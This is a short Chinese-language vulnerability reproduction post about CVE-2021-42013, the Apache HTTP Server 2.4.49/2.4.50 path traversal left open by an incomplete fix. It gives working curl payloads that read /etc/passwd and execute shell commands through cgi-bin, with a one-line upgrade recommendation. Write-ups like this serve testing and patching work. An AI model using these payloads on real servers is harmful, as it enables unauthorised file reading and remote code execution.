漏洞复现（四）：CVE-2021-42013

目录

漏洞原理

影响版本

漏洞复现

环境搭建

漏洞利用

 漏洞修复

---

漏洞原理

Apache HTTP Server 2.4.50 中对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置 “要求全部拒绝” 的保护，则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本，则可以允许远程代码执行。
 

影响版本

Apache 2.4.49 和 Apache 2.4.50

漏洞复现

环境搭建

 

漏洞利用

curl -v --path-as-is http://IP:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

 在服务器上启用 mods cgi 或 cgid 后，此路径遍历漏洞将允许任意命令执行：

curl -v --data "echo;id" 'http://IP:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
或者
curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; whoami' "http://IP:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"

 

 漏洞修复

升级到Apache HTTP Server安全版本。